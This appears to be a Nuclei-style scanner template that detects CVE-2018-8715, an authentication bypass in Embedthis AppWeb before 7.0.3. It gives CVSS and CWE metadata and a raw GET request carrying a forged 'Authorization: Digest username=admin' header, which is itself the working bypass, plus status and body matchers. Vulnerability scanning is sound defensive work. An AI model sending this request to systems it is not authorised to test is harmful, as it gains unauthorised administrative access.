id: CVE-2018-8715

info:
  name: AppWeb Authentication Bypass vulnerability
  author: milo2012
  severity: high
  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
  reference:
    - https://github.com/embedthis/appweb/issues/610
    - https://blogs.securiteam.com/index.php/archives/3676
    - https://security.paloaltonetworks.com/CVE-2018-8715
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-8715
    cwe-id: CWE-287
  tags: cve,cve2018,appweb,auth-bypass

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Digest username=admin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'
        part: body